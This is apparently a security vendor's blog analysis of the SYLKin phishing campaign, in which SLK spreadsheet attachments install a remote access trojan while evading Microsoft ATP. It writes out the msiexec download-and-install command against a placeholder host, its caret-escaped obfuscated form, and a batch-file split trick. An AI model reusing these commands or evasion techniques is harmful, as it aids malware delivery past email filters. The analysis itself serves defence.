With the definition of normal changing with each passing day, the ongoing pandemic has forced security professionals to re-evaluate new working models and how they can prevent attackers from targeting end users. Albert Einstein once said, “In the midst of every crisis lies great opportunity,” and this idea has formed the basis for how cybercriminals operate in the era of COVID-19.
Never ones to let an opportunity go to waste, cybercriminals are deploying new attacks each day. Microsoft was recently affected by a new SYLKIN Attack that bypasses both Microsoft 365 default security (EOP) and Microsoft advanced security (ATP). At the time of writing, Microsoft 365 is still vulnerable, and the attack is still being used extensively against Microsoft 365 customers.
Lately Avanan’s security analysts have detected a significant increase in the usage of SLK files in attacks against Microsoft 365 customers. In these attacks, hackers send an email with a .slk attachment that contains a malicious macro (msiexec script) to download and install a remote access trojan.
It is a very sophisticated attack with several obfuscation methods specifically designed to bypass Microsoft 365. Gmail customers, on other hand, are safe from this attack — Google already blocks it on incoming email and has made it impossible to send these SLK files as an attachment from a Gmail account.
What is SYLKin attack?
Again, SLK files are rare, so if you have received one in your inbox, chances are you are being targeted by the most recent Remote Access Trojan malware that has been ‘upgraded’ to bypass Microsoft ATP. The attack method itself has been extensively documented, so I’ll only explain it briefly. The focus will be on how such a well-understood attack bypassed Office 365 filters, including Microsoft ATP.
The attack specifically targets Microsoft 365 accounts and until recently, was isolated to a small number of organizations.
Emails are targeted and manually created
The attack emails are highly customized, using information and language that could only have been found and written manually. The messages seem to come from a partner or customer using a topic that is highly specific to the organization and the individual. For example, an email to a manufacturer will discuss parts specifications, an email to a tech firm will ask for changes to a large electronics order, or an email to a government department will discuss legal concerns. The subjects, contents and even the attached files are customized with the target’s name and organization. No two are alike. What they have in common is that the messages are realistic and compelling enough to convince a user to click on the attached SLK file.
What is a SLK file?
A so-called “Symbolic Link” (SLK) file is Microsoft’s human-readable, text-based spreadsheet format that saw its last update around the time that “Dallas” went off the air in 1986. At a time when XLS files were proprietary, SLK was an open-format alternative before XLSX was introduced in 2007. To the end user, a SLK file looks like an Excel document — but for an attacker, it’s an easy way to bypass Microsoft 365 security, even for accounts protected with Microsoft ATP.
What does this attack do?
A recent version of the SYLK attack includes an SLK file with an obfuscated macro designed to run a command on a Windows machine:
msiexec /i http://malicious-site.com/install.php /q
This runs Windows Installer (msiexec) in quiet mode to install whatever MSI package they decide to host on their site. In this campaign, it’s a hacked version of the off-the-shelf NetSupport remote control application, granting the attacker full control over the desktop.
Windows grants more trust to SLK files than XLSX files
Because Windows “Protected View” does not apply to SLK files downloaded from the Internet or from email, Excel does not open them in read-only mode.
When opening an SLK file, the end user does not see this message:
Targeted methodology to bypass Microsoft Advanced Threat Protection
The first versions of the SLK attack method were seen in 2018 and were eventually blocked by Microsoft ATP. This new campaign, however, includes a number of obfuscation techniques specifically designed to bypass Microsoft ATP.
- The attack was sent from hundreds of free hotmail accounts
- The macro script includes ‘^’ characters to confuse ATP filters.
- The URL was split in two so that ATP would not read it as a web link,
- The hosting server became active after the email was sent so it seemed benign if sandboxed by ATP,
- The hosting server only responded to “Windows Installer” user agents, ignoring other queries.
These methods are ATP-specific. Again, Gmail blocks these files and, in fact, makes it impossible to send from a Gmail account.
The attackers took advantage of a series of blind spots in the Microsoft email infrastructure to send this attack from thousands of disposable Hotmail accounts, with email addresses in the format “randomwords1982@hotmail.com,” each sending just a handful or messages at a time.
An important benefit of Hotmail to many attackers is that the same security filters are being used end to end. If the attacker is able to attach and send a file, it is likely that it will make it through the entire Microsoft security infrastructure. Should one of the accounts get flagged, Microsoft will disable it, informing the attacker that his messages are getting caught downstream.
While most of the well-known anonymous email-sending engines deserve their poor spam and phishing reputations, Hotmail users benefit from Microsoft’s own reputation. Since the service was merged with its own Outlook application, Microsoft seems to grant them a higher level of trust than external senders.
The macro script includes escape characters to confuse ATP filters
The attackers take advantage of the fact that ATP filters do not interpret text in the same way as the Windows command line. ATP would normally be able to identify the powerful and potentially malicious msiexec command, but the attackers inserted command-line escape characters ‘^’ to obfuscate the script.
msiexec /i http://malicious-site.com/install.php /q
becomes
M^s^ie^xec /ih^tt^p^:^/^/malicious-site.com/install.php ^/q
When read by Advanced Threat Protection filters, the msiexec command becomes unreadable and the telltale ‘http://’ is obscured.
When read by the desktop command line, the escape characters ‘disappear,’ running as if they were never there. This is just a command-line version of the Zero-Font methodologies that have plagued ATP for years.
The URL was split into two macros so that ATP would not read it as a link
ATP does not need to see the ‘http://’ to recognize a web link and would normally catch any text of the format ‘malicious-site.com.’ In order to hide the link, the attackers split it into two separate commands.
The first macro command creates a batch file with the first half of the URL.
Set /p=””M^s^ie^xec /ih^tt^p^:^/^/malicious-sit”” > JbfoT.bat
The second macro command adds the remainder of the URL and then runs the batch file.
Set /p=””e.com/install.php ^/q”” >> JbfoT.bat & JbfoT.bat
Within seconds, the malicious SLK file has run two simple commands to create a malicious install script and begin installing whatever software the attackers decide to host.
The hosting server was armed after the message was sent
We don’t believe Microsoft ATP is testing these files within their sandbox environment, relying instead on static filters. But we have found that other vendors have also failed to catch this attack, even when the code is executed in a virtual environment.
There is no special code or intelligence within the script to detect if it is running within emulation. Instead, the attackers do not enable the malicious web server until shortly after the email is sent. Because it cannot reach the server, the script fails, installing nothing.
In addition to enabling the URL only after delivery, the server would become inactive a few hours later, rejecting further queries. This seems to be a way to avoid action from their provider, as the reported content is no longer available at the links associated with the attack by the time a manual take-down notice is requested.
The coordinated timing of the hosting servers with the sending of the emails is characteristic of a more sophisticated campaign. When combined with the high-profile nature of the targeted organizations, it suggests an APT group or state actor.
The hosting server only responded to requests from “Windows Installer” agents
In addition to their on-and-off timing, the hosting servers utilized another common technique to avoid analysis, rejecting all queries except for those with User Agent: Windows Installer. This ensured that it only responded to the malicious script and would avoid detection by URL analysis tools.
How did it evade Microsoft protection?
Each of the obfuscation methodologies were designed to bypass a specific layer of the Microsoft 365 security infrastructure. While we understand how each was used in turn, we are still confused as to how ATP fails to detect this technique in emulation. Creating a batch file and calling the msiexec application is considered malicious, even if it fails to run. We must assume, then, that none of these files are being tested by the sandbox layer. Unfortunately, because each file is unique, no two attachments have the same MD5 hash, which requires each file to be given additional scrutiny.
Got SonicWall CAS protecting your inbox? Don’t worry, we have you protected.
If you have SonicWall Cloud App Security protecting your organization’s inbox and you are running in Protect (Inline) mode, this attack is blocked, and users will not see these attacks in their inbox. (If you are in Monitor Mode, we recommend that you move to Protect (Inline) mode.)
Alternatively, we recommend you configure your Office 365 account to reject files of this type. SLK files are relatively rare, so unless you have a legacy reason to allow them, we recommend excluding the SLK extension as a static mail-flow rule, at least until Microsoft fixes this gap.
Microsoft’s recommendations are much more complicated but are another alternative to protect the desktop.
Source :
https://blog.sonicwall.com/en-us/2020/08/protect-against-sylkin-attack-with-sonicwall-cloud-app-security/